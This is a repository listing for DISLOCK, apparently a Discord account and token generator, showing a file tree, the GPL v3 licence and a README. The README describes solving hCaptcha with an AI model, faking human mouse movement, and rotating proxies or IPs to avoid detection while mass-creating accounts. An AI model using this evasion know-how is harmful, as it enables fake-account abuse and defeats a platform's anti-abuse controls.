├── LICENSE
├── README.md
├── Version 1
├── LICENSE
├── README.md
├── changelog.md
├── config.json
├── contributing.md
├── hcaptcha_challenger
│ ├── __init__.py
│ ├── core.py
│ ├── exceptions.py
│ ├── objects.yaml
│ ├── settings.py
│ └── solutions
│ │ ├── __init__.py
│ │ ├── kernel.py
│ │ ├── resnet.py
│ │ ├── sk_recognition.py
│ │ └── yolo.py
├── mailinfo.py
├── main.py
└── requirements.txt
├── Version 2.3
├── LICENSE
├── README.md
├── changelog.md
├── contributing.md
├── main.py
├── modules
│ ├── discord.py
│ └── tempmail.py
└── requirements.txt
├── changelog.md
├── config.json
├── contributing.md
├── hcaptcha_challenger
├── __init__.py
├── core.py
├── exceptions.py
├── objects.yaml
├── settings.py
└── solutions
│ ├── __init__.py
│ ├── kernel.py
│ ├── resnet.py
│ ├── sk_recognition.py
│ └── yolo.py
├── mailinfo.py
├── main.py
└── requirements.txt
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Edited by FuckingToaster's Fork:
2 | ## New Features & Improvments
3 | - Got rid of Tempmail.lol (their ip for dns record is blocked by discord & more code take longer to execute)
4 | - Using IMAP (free custom domain, not blocked by discord & faster verification)
5 | - Added external configuration file to setup IMAP
6 | - Fixed Tokens aren't saved in the file after verìfîcation (wasn't saved before if joining a invite failed)
7 | [Note: Some TLDs are blocked by discord (discord won't send a email to them. I noticed it for .monster but there might be more]
8 |
9 | ## Setup Mail Verification:
10 | - Create a GMAIL Account which is used to forward all Discord Mails to
11 | - Setup 2FA on the GMAIL Account you just made
12 | - Navigate to this Site: https://mail.google.com/mail/u/2/#settings/fwdandpop and enable the IMAP Option
13 | - Add a App Password here: https://myaccount.google.com/u/2/security (Option is only shown if 2FA is enabled) | Set App to Other and choose a random Name)
14 | - Add your Details in the config File.
15 |
16 | ## Using a Custom Domain:
17 | - Follow the Steps above in Setup Mail Verification and then contine with the Info below
18 | - Register a Account at https://improvmx.com
19 | - Setup the DNS Records the Site provide you with in your Domain's DNS Settings
20 | - Add your Domain Forwarding to * (This forward all mails sent to custom domain to the gmail you just made)
21 |
22 |
23 | # Orginal Readme created by the orginal Author's
24 | # DISLOCK
25 |
26 | # I accidently deleted the v2.0 update files (bout 1 week or 30 workhours), this project is discontinued for a bit, while im working on botright.
27 |
28 | # I decided to do that because i can easily build this on botright when its finished.
29 |
30 | DISLOCK is the most advanced Discord Browser Generator.
31 |
32 | It is capable of generating Unlocked Tokens for free by Using AI.
33 | DISLOCK is currently undetected by Discord because its Human Emulation.
34 |
35 | You will have to use HQ Proxies/IPs to get unlocked tokens.
36 |
37 | ## Features
38 |
39 | - TokenGenerator on discord.com [Almost always Unlocked]
40 | - TokenGenerator on discord.com/register [Mostly Unlocked]
41 | - Captcha Tester on hcaptcha.com
42 |
43 | ## Demo Videos
44 |
45 | ### Unclaimed Generator
46 | https://streamable.com/4wvhdw
47 |
48 | ### Normal Generator
49 | https://streamable.com/w9l2fz
50 |
51 | ## Proxies
52 |
53 | You will have to use HQ Proxies/IPs to get Unlocked Tokens.
54 | If you really want to generate proxies, you maight have to spend fairly big amounts of money, to get undetected/unflagged IPs.
55 | If you just want to test the Generator, you can also just restart your InternetRouter (if you have a rotating IP) and Discord wont notice.
56 |
57 | (Btw your Proxy AD can stand here, DM me for offers ;d ;:D)
58 |
59 | ## Artificial Intelligence
60 |
61 | The AI of this bot is not mine and i dont take any credits for it.
62 |
63 | It was created by QIN2DIM and can be found [here](https://github.com/QIN2DIM/hcaptcha-challenger).
64 | If you want to update the AI because im late, you will have to grab the files from given repository.
65 |
66 | `You maight want to regulary update objects.yaml by copy and pasting https://github.com/QIN2DIM/hcaptcha-challenger/blob/main/src/objects.yaml`
67 |
68 | However, i edited out some code/files, to make DISLOCK lightweighter and to use less imports.
69 |
70 | Also, i coded a MouseMovement Generator, to get more realistic MotionData. It uses Interpolation between CaptchaImage-Coordinates to do so.
71 |
72 | My Playwright hCaptchaSolver can be easily plugged by replicating [check_captcha()](https://github.com/Vinyzu/DiscordGenerator/blob/main/main.py#L491) in your project.
73 |
74 | ## Installation
75 |
76 | ### Installing DISLOCK with Python
77 |
78 | ```bash
79 | git clone https://github.com/Vinyzu/DISLOCK DISLOCK
80 | cd DISLOCK
81 | pip install -r requirements.txt
82 | playwright install
83 | python main.py
84 | ```
85 |
86 | ### Further Requirements
87 |
88 | - Windows
89 |
90 | - [Git](https://git-scm.com/downloads) (To install DISLOCK)
91 | - [Pip](https://pip.pypa.io/en/stable/installation/) (To install DISLOCK)
92 |
93 | ## Using
94 |
95 | Type | Recommended Usage |
